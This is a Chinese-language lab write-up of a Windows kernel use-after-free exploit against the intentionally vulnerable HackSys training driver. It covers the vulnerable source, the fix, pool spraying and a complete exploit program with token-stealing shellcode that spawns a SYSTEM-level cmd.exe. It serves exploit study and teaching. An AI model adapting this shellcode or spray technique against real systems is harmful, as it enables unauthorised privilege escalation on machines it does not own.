漏洞原理:

UAF原理:

Use After Free,当一个内存块被释放之后再次被使用
申请出一个堆块保存在一个指针中,在释放后,没有将该指针清空,形成了一个悬挂指针(danglingpointer),而后再申请出堆块时会将刚刚释放出的堆块申请出来,并复写其内容,而悬挂指针此时仍然可以使用,使得出现了不可控的情况。攻击者一般利用该漏洞进行函数指针的控制,从而劫持程序执行流。

提权原理:

运行一个cmd断下来用!dml_proc命令查看当前进程列表

  1. kd> !dml_proc
  2. Address PID Image file name
  3. 86af0798 4 System
  4. 876edba0 fc smss.exe
  5. 87e01860 148 csrss.exe
  6. 87f975b0 180 csrss.exe
  7. 87f9a450 1a0 wininit.exe
  8. .......................
  9. 88409570 a44 cmd.exe

Systemd的地址是86af0798 PID是4(SYSTEM在所有系统PID都为4)
cmd地址是88409570 PID是0xa44
每个进程都有一个 EPROCESS 结构,里面保存着进程的各种信息,和相关结构的指针。
在WinDBG中使用dt nt!_EPROCESS可以看到该结构

  1. kd> dt nt!_EPROCESS
  2. +0x000 Pcb : _KPROCESS
  3. +0x098 ProcessLock : _EX_PUSH_LOCK
  4. +0x0a0 CreateTime : _LARGE_INTEGER
  5. +0x0a8 ExitTime : _LARGE_INTEGER
  6. +0x0b0 RundownProtect : _EX_RUNDOWN_REF
  7. +0x0b4 UniqueProcessId : Ptr32 Void
  8. +0x0b8 ActiveProcessLinks : _LIST_ENTRY
  9. +0x0c0 ProcessQuotaUsage : [2] Uint4B
  10. +0x0c8 ProcessQuotaPeak : [2] Uint4B
  11. +0x0d0 CommitCharge : Uint4B
  12. +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
  13. +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
  14. +0x0dc PeakVirtualSize : Uint4B
  15. +0x0e0 VirtualSize : Uint4B
  16. +0x0e4 SessionProcessLinks : _LIST_ENTRY
  17. +0x0ec DebugPort : Ptr32 Void
  18. +0x0f0 ExceptionPortData : Ptr32 Void
  19. +0x0f0 ExceptionPortValue : Uint4B
  20. +0x0f0 ExceptionPortState : Pos 0, 3 Bits
  21. +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
  22. +0x0f8 Token : _EX_FAST_REF
  23. +0x0fc WorkingSetPage : Uint4B
  24. +0x100 AddressCreationLock : _EX_PUSH_LOCK
  25. ............................................

在偏移为0x0f8的地方可以找到我们需要的Token,使用dt nt!_EX_FAST_REF看这个结构体的细节

  1. kd> dt nt!_EX_FAST_REF
  2. +0x000 Object : Ptr32 Void
  3. +0x000 RefCnt : Pos 0, 3 Bits
  4. +0x000 Value : Uint4B

所以我们使用命令dt nt!_EX_FAST_REF 进程地址+F8就可以得到想要进程的Token

  1. kd> dt nt!_EX_FAST_REF 86af0798+f8(System)
  2. +0x000 Object : 0x8da01276 Void
  3. +0x000 RefCnt : 0y110
  4. +0x000 Value : 0x8da01276---(Value就是Token的值)
  5. kd> dt nt!_EX_FAST_REF 88409570+f8(cmd.exe)
  6. +0x000 Object : 0x9b7b3432 Void
  7. +0x000 RefCnt : 0y010
  8. +0x000 Value : 0x9b7b3432---(Value就是Token的值)

我们通过ed命令修改cmd token的值为system token
Windows Kernel Exploit---UAF - 图2
提权成功
尝试将上述操作转变为汇编,主要思路将当前EPROCESS结构中的Token替换为Sys的Token
在Windows系统中,处理器信息被存储在内核处理器控制区域(KPCR)数据结构中。KPCR结构总是使用FS段寄存器进行索引,在Windows x86中为FS:[0]
Windows Kernel Exploit---UAF - 图3
在KPCR数据结构中,标识了指向内核处理器控制块(KPRCB)数据结构的指针。KPRCB结构体拥有内核资源管理所需的大部分信息。里面的第四个字节指向CurrentThread
Windows Kernel Exploit---UAF - 图4
这样fs:[124h]其实是指向当前线程的_KTHREAD
Windows Kernel Exploit---UAF - 图5
我们要找的是指向KAPC_STATE数据结构的ApcState成员的偏移量。
Windows Kernel Exploit---UAF - 图6
KAPC_STATE数据结构用于线程查找其关联的进程,这个成员含有一个指向KPROCESS数据结构的指针,我们要找的便是这个,再通过这个去找EPROCESS中的Token,那我们找token的流程便是:
fs:124h——->fs:[124h]+0x50->[fs:[124h]+0x50]+0xf8(Token)

  1. void Shellcode{
  2. _asm{
  3. pushad
  4. mov eax,fs:[124h]//当前线程的_KTHREAD
  5. mov eax,[eax+0x50]//eax = _KPROCESS也就是_EPROCESS
  6. mov ecx,eax
  7. mov edx,4//SysPid = 4
  8. find_sys_pid:
  9. mov eax,[eax+0xb8]//ActiveProcessLinks
  10. sub eax,0xb8//遍历
  11. cmp[eax + 0xb4], edx//PID?=4
  12. jnz find_sys_pid
  13. mov edx,[eax+0xf8]
  14. mov [ecx+0xf8],edx
  15. popad
  16. ret
  17. }
  18. }

源码分析:

源码分为4个部分,分别是AllocateUaFObject、UseUaFObject、FreeUaFObject、AllocateFakeObject

AllocateUaFObject

  1. NTSTATUS AllocateUaFObject() {
  2. NTSTATUS Status = STATUS_SUCCESS;
  3. PUSE_AFTER_FREE UseAfterFree = NULL;
  4. PAGED_CODE();
  5. __try {
  6. DbgPrint("[+] Allocating UaF Object\n");
  7. // Allocate Pool chunk
  8. UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
  9. sizeof(USE_AFTER_FREE),
  10. (ULONG)POOL_TAG);
  11. if (!UseAfterFree) {
  12. // Unable to allocate Pool chunk
  13. DbgPrint("[-] Unable to allocate Pool chunk\n");
  14. Status = STATUS_NO_MEMORY;
  15. return Status;
  16. }
  17. else {
  18. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
  19. DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
  20. DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
  21. DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
  22. }
  23. // Fill the buffer with ASCII 'A'
  24. RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
  25. // Null terminate the char buffer
  26. UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
  27. // Set the object Callback function
  28. UseAfterFree->Callback = &UaFObjectCallback;
  29. // Assign the address of UseAfterFree to a global variable
  30. g_UseAfterFreeObject = UseAfterFree;
  31. DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
  32. DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
  33. DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
  34. }
  35. __except (EXCEPTION_EXECUTE_HANDLER) {
  36. Status = GetExceptionCode();
  37. DbgPrint("[-] Exception Code: 0x%X\n", Status);
  38. }
  39. return Status;
  40. }
  1. typedef struct _USE_AFTER_FREE {
  2. FunctionPointer Callback;
  3. CHAR Buffer[0x54];
  4. } USE_AFTER_FREE, *PUSE_AFTER_FREE;

函数先使用ExAllocatePoolWithTag申请一块这样的内存,填充上A,以0终止

UseUaFObject

  1. NTSTATUS UseUaFObject() {
  2. NTSTATUS Status = STATUS_UNSUCCESSFUL;
  3. PAGED_CODE();
  4. __try {
  5. if (g_UseAfterFreeObject) {
  6. DbgPrint("[+] Using UaF Object\n");
  7. DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
  8. DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
  9. DbgPrint("[+] Calling Callback\n");
  10. if (g_UseAfterFreeObject->Callback) {
  11. g_UseAfterFreeObject->Callback();
  12. }
  13. Status = STATUS_SUCCESS;
  14. }
  15. }
  16. __except (EXCEPTION_EXECUTE_HANDLER) {
  17. Status = GetExceptionCode();
  18. DbgPrint("[-] Exception Code: 0x%X\n", Status);
  19. }
  20. return Status;
  21. }

这个函数使用悬挂指针,当我们对Callback进行替换后,再次使用函数指针时,会导致控制流的劫持。

FreeUaFObject

  1. NTSTATUS FreeUaFObject() {
  2. NTSTATUS Status = STATUS_UNSUCCESSFUL;
  3. PAGED_CODE();
  4. __try {
  5. if (g_UseAfterFreeObject) {
  6. DbgPrint("[+] Freeing UaF Object\n");
  7. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
  8. DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
  9. #ifdef SECURE
  10. // Secure Note: This is secure because the developer is setting
  11. // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
  12. ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
  13. g_UseAfterFreeObject = NULL;
  14. #else
  15. // Vulnerability Note: This is a vanilla Use After Free vulnerability
  16. // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
  17. // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
  18. // (dangling pointer)
  19. ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
  20. #endif
  21. Status = STATUS_SUCCESS;
  22. }
  23. }
  24. __except (EXCEPTION_EXECUTE_HANDLER) {
  25. Status = GetExceptionCode();
  26. DbgPrint("[-] Exception Code: 0x%X\n", Status);
  27. }
  28. return Status;
  29. }

可以看到如果是安全的版本下使用完ExFreePoolWithTag后则将g_UseAfterFreeObject设置为NULL,而在易受攻击的版本将只使用ExFreePoolWithTag,这将留下对之前悬空指针的引用

AllocateFakeObject

  1. NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
  2. NTSTATUS Status = STATUS_SUCCESS;
  3. PFAKE_OBJECT KernelFakeObject = NULL;
  4. PAGED_CODE();
  5. __try {
  6. DbgPrint("[+] Creating Fake Object\n");
  7. // Allocate Pool chunk
  8. KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
  9. sizeof(FAKE_OBJECT),
  10. (ULONG)POOL_TAG);
  11. if (!KernelFakeObject) {
  12. // Unable to allocate Pool chunk
  13. DbgPrint("[-] Unable to allocate Pool chunk\n");
  14. Status = STATUS_NO_MEMORY;
  15. return Status;
  16. }
  17. else {
  18. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
  19. DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
  20. DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
  21. DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
  22. }
  23. // Verify if the buffer resides in user mode
  24. ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
  25. // Copy the Fake structure to Pool chunk
  26. RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
  27. // Null terminate the char buffer
  28. KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
  29. DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
  30. }
  31. __except (EXCEPTION_EXECUTE_HANDLER) {
  32. Status = GetExceptionCode();
  33. DbgPrint("[-] Exception Code: 0x%X\n", Status);
  34. }
  35. return Status;
  36. }
  37. typedef struct _FAKE_OBJECT {
  38. CHAR Buffer[0x58];
  39. } FAKE_OBJECT, *PFAKE_OBJECT;

该函数再次申请堆块,申请出一个与USE_AFTER_FREE同样大小的FAKE_OBJECT结构体,再次申请出来的FAKE结构体与之前的结构体是同一块内存

漏洞利用:

如果我们一开始申请堆的大小和UAF中堆的大小相同,那么就可能申请到我们的这块内存,假如我们又提前构造好了这块内存中的数据,那么当最后释放的时候就会指向我们shellcode的位置,从而达到提取的效果。用堆喷射技术来保证申请到用的这一块内存。

  1. typedef struct _FAKE_USE_AFTER_FREE
  2. {
  3. FunctionPointer countinter;
  4. char bufffer[0x54];
  5. }FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;

在函数申请内存并释放后,先进行环境的伪装

  1. //申请假的chunk
  2. PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
  3. //指向我们的shellcode
  4. fakeG_UseAfterFree->countinter = ShellCode;
  5. //用A填满该chunk
  6. RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');

池喷射

先申请10000个填满碎片
再申请的5000个会是连续的
再从后面的5000里间隔一个释放一个
这样就会有好多0x60字节大小的地方不会被合并 也肯定能覆盖到第一次申请的地方
假设想要被分配的POOL的大小是258.操作系统会去选取最适合258(>=)的空闲POOL位置来存放他,看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的POOL. 有一定的概率使我们分配后的POOL的刚好是这个地方呢. 答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X, 分配两个是2/X, 不断增加.

  1. // 喷射
  2. printf("***********************************\n");
  3. printf("Start to heap spray...\n");
  4. for (int i = 0; i < 5000; i++)
  5. {
  6. DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
  7. }

最后调用一个cmd看看是否提权成功

  1. static VOID CreateCmd()
  2. {
  3. STARTUPINFO si = { sizeof(si) };
  4. PROCESS_INFORMATION pi = { 0 };
  5. si.dwFlags = STARTF_USESHOWWINDOW;
  6. si.wShowWindow = SW_SHOW;
  7. WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
  8. BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
  9. if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
  10. }

Windows Kernel Exploit---UAF - 图7

补丁:

  1. #ifdef SECURE
  2. // Secure Note: This is secure because the developer is setting
  3. // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
  4. ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
  5. g_UseAfterFreeObject = NULL;
  6. #else
  7. // Vulnerability Note: This is a vanilla Use After Free vulnerability
  8. // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
  9. // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
  10. // (dangling pointer)
  11. ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);

下面是在UseUaFObject()函数中的修复方案,加个NULL的判断

  1. if(g_UseAfterFreeObject != NULL)
  2. {
  3. if (g_UseAfterFreeObject->Callback) {
  4. g_UseAfterFreeObject->Callback();
  5. }
  6. }

Exp:

  1. // ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
  2. //
  3. #include <iostream>
  4. #include<stdio.h>
  5. #include<Windows.h>
  6. /************************************************************************/
  7. /* Write by Thunder_J 2019.6 */
  8. /************************************************************************/
  9. typedef void(*FunctionPointer) ();
  10. typedef struct _FAKE_USE_AFTER_FREE
  11. {
  12. FunctionPointer countinter;
  13. char bufffer[0x54];
  14. }FAKE_USE_AFTER_FREE, * PUSE_AFTER_FREE;
  15. void ShellCode()
  16. {
  17. _asm
  18. {
  19. nop
  20. pushad
  21. mov eax, fs: [124h] // 找到当前线程的_KTHREAD结构
  22. mov eax, [eax + 0x50] // 找到_EPROCESS结构
  23. mov ecx, eax
  24. mov edx, 4 // edx = system PID(4)
  25. // 循环是为了获取system的_EPROCESS
  26. find_sys_pid :
  27. mov eax, [eax + 0xb8] // 找到进程活动链表
  28. sub eax, 0xb8 // 链表遍历
  29. cmp[eax + 0xb4], edx // 根据PID判断是否为SYSTEM
  30. jnz find_sys_pid
  31. // 替换Token
  32. mov edx, [eax + 0xf8]
  33. mov[ecx + 0xf8], edx
  34. popad
  35. ret
  36. }
  37. }
  38. static VOID CreateCmd()
  39. {
  40. STARTUPINFO si = { sizeof(si) };
  41. PROCESS_INFORMATION pi = { 0 };
  42. si.dwFlags = STARTF_USESHOWWINDOW;
  43. si.wShowWindow = SW_SHOW;
  44. WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
  45. BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
  46. if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
  47. }
  48. int main()
  49. {
  50. DWORD recvBuf;
  51. // 获取句柄
  52. HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
  53. GENERIC_READ | GENERIC_WRITE,
  54. NULL,
  55. NULL,
  56. OPEN_EXISTING,
  57. NULL,
  58. NULL);
  59. printf("Start to get HANDLE...\n");
  60. if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
  61. {
  62. printf("获取句柄失败\n");
  63. return 0;
  64. }
  65. // 调用 AllocateUaFObject() 函数申请内存
  66. printf("Start to call AllocateUaFObject()...\n");
  67. DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
  68. // 调用 FreeUaFObject() 函数释放对象
  69. printf("Start to call FreeUaFObject()...\n");
  70. DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
  71. printf("Start to write shellcode()...\n");
  72. //申请假的chunk
  73. PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
  74. //指向我们的shellcode
  75. fakeG_UseAfterFree->countinter = ShellCode;
  76. //用A填满该chunk
  77. RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
  78. // 堆喷射
  79. printf("***********************************\n");
  80. printf("Start to heap spray...\n");
  81. for (int i = 0; i < 5000; i++)
  82. {
  83. DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
  84. }
  85. // 调用 UseUaFObject() 函数
  86. printf("Start to call UseUaFObject()...\n");
  87. DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
  88. printf("Start to create cmd...\n");
  89. CreateCmd();
  90. return 0;
  91. }